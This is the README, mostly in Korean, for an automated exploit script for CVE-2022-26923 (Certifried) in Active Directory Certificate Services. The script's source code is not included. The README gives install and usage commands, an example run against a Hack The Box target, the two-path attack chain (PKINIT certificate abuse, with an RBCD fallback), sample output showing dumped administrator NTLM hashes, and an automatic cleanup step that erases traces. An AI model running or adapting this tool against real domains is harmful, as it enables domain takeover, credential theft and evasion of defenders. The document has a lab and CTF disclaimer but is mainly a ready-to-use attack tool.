
Automated CVE-2022-26923 Exploitation (Certifried)
**CVE-2022-26923 (Certifried)**의 자동화된 익스플로잇으로, Active Directory 인증서 서비스(AD CS)를 악용하여 권한 상승을 가능하게 하며, 리소스 기반 제한 위임(RBCD)으로 자동 폴백하여 궁극적으로 도메인 관리자 계정의 NTLM 해시를 덤프합니다.
⚠️ 교육 목적으로만 사용 / 랩 / CTF
승인되지 않은 환경에서는 사용하지 마십시오.
이 스크립트는 다음과 같은 공격 체인을 자동화합니다:
dNSHostName 특성을 도메인 컨트롤러와 일치하도록 스푸핑secretsdump.py를 사용하여 DCSync 공격 수행bloodyAD에서 사용하기 위해 PFX를 PEM으로 변환impacket-addspn으로 SPN 추가getST.py로 S4U2Self + S4U2Proxy 티켓 요청secretsdump.py로 NTLM 해시 덤프dNSHostName 특성을 조작하여 도메인 컨트롤러를 가장할 수 있게 하며, CA가 DC 계정에 대한 인증서를 발급하도록 유도pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
-d, --dc-ip IP address of the Domain Controller
-D, --domain Domain name (e.g. corp.local)
-u, --user Valid domain user (UPN format: user@domain)
-p, --pass User password
--verbose Debug mode: display all executed commands
-h, --help Show this help message
./CVE-2022-26923.sh \
-d 10.129.227.189 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose
팁: 실행 전에 다음 명령으로 정확한 CA 이름과 템플릿을 확인하세요:
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdout그런 다음 스크립트 기본값의
CA_NAME과TEMPLATE를 해당 값으로 업데이트하세요.
환경에 따라 다음 두 경로 중 하나가 성공합니다:
방법 1 (클래식):
[5] Classic authentication attempt (Recovering DC hash)... [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...
[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::
방법 2 (RBCD 폴백):
[5] Classic authentication attempt (Recovering DC hash)... [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...
[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::
OPSEC 정리는 자동으로 실행됩니다 (종료 시 또는 Ctrl+C 시):
[*] Starting trace cleanup (OPSEC)...
[OK] Cleanup complete.
Random Machine Account Creation (e.g. PWN8472$)
↓
dNSHostName Spoofing → dc.domain.local
↓
Dynamic LDAP Sync Verification (polling)
↓
Certificate Request via RPC (Machine Template)
[NETBIOS timeout auto-retry up to 5x]
↓
┌─────────────────────────────────────────┐
│ METHOD 1 — CLASSIC │
│ certipy-ad auth -pfx dc.pfx │
│ → DC NTLM hash via PKINIT │
│ → DCSync via secretsdump │
└────────────────┬────────────────────────┘
│ [FAILS]
▼
┌─────────────────────────────────────────┐
│ METHOD 2 — RBCD FALLBACK │
│ PFX → PEM conversion (openssl) │
│ bloodyAD: add rbcd dc$ COMP$ │
│ impacket-addspn: SPN on COMP$ │
│ getST: S4U2Self + S4U2Proxy (cifs/) │
│ secretsdump via KRB5 ticket │
└─────────────────────────────────────────┘
↓
OPSEC Cleanup (trap EXIT/INT/TERM)
- Remove RBCD attribute on DC
- Delete machine account (COMP$)
- Wipe local PFX / PEM / ccache files
이 프로젝트는 다음 용도로 제공됩니다:
저자는 이 도구의 무단 또는 불법 사용에 대해 어떠한 책임도 지지 않습니다.
| 도구 | 용도 |
|---|
certipy-ad | 계정 생성/수정, 인증서 요청, PKINIT 인증 |
bloodyAD | RBCD 속성 조작 (폴백) |
impacket-addspn | 머신 계정에 SPN 추가 (폴백) |
impacket-getST | S4U2Self + S4U2Proxy 티켓 요청 (폴백) |
impacket-secretsdump | DCSync / NTLM 해시 덤프 |
openssl | PFX → PEM 변환 (폴백) |
| 증상 | 원인 | 해결 방법 |
|---|
NETBIOS connection timed out | HTB의 AD CS RPC 지연 | 자동 처리 (5회 재시도) |
getST에서 KDC_ERR_BADOPTION | COMP$에 SPN 누락 | 스크립트가 getST 전에 impacket-addspn 사용 |
secretsdump에서 KDC_ERR_WRONG_REALM | 잘못된 SPN (LDAP 대신 cifs) | 스크립트가 getST에 cifs/ SPN 사용 |
Clock skew too great | Kerberos 시간 차이 | 실행 전 sudo ntpdate <DC_IP> 실행 |
| 머신 계정 삭제 실패 | AD 권한 부족 (정상) | 스크립트가 ` |
certipy-ad에서 unrecognized arguments | 잘못된 구문 (기존 certipy 형식) | 스크립트는 명시적 플래그 -u/-p/-target-ip 사용 |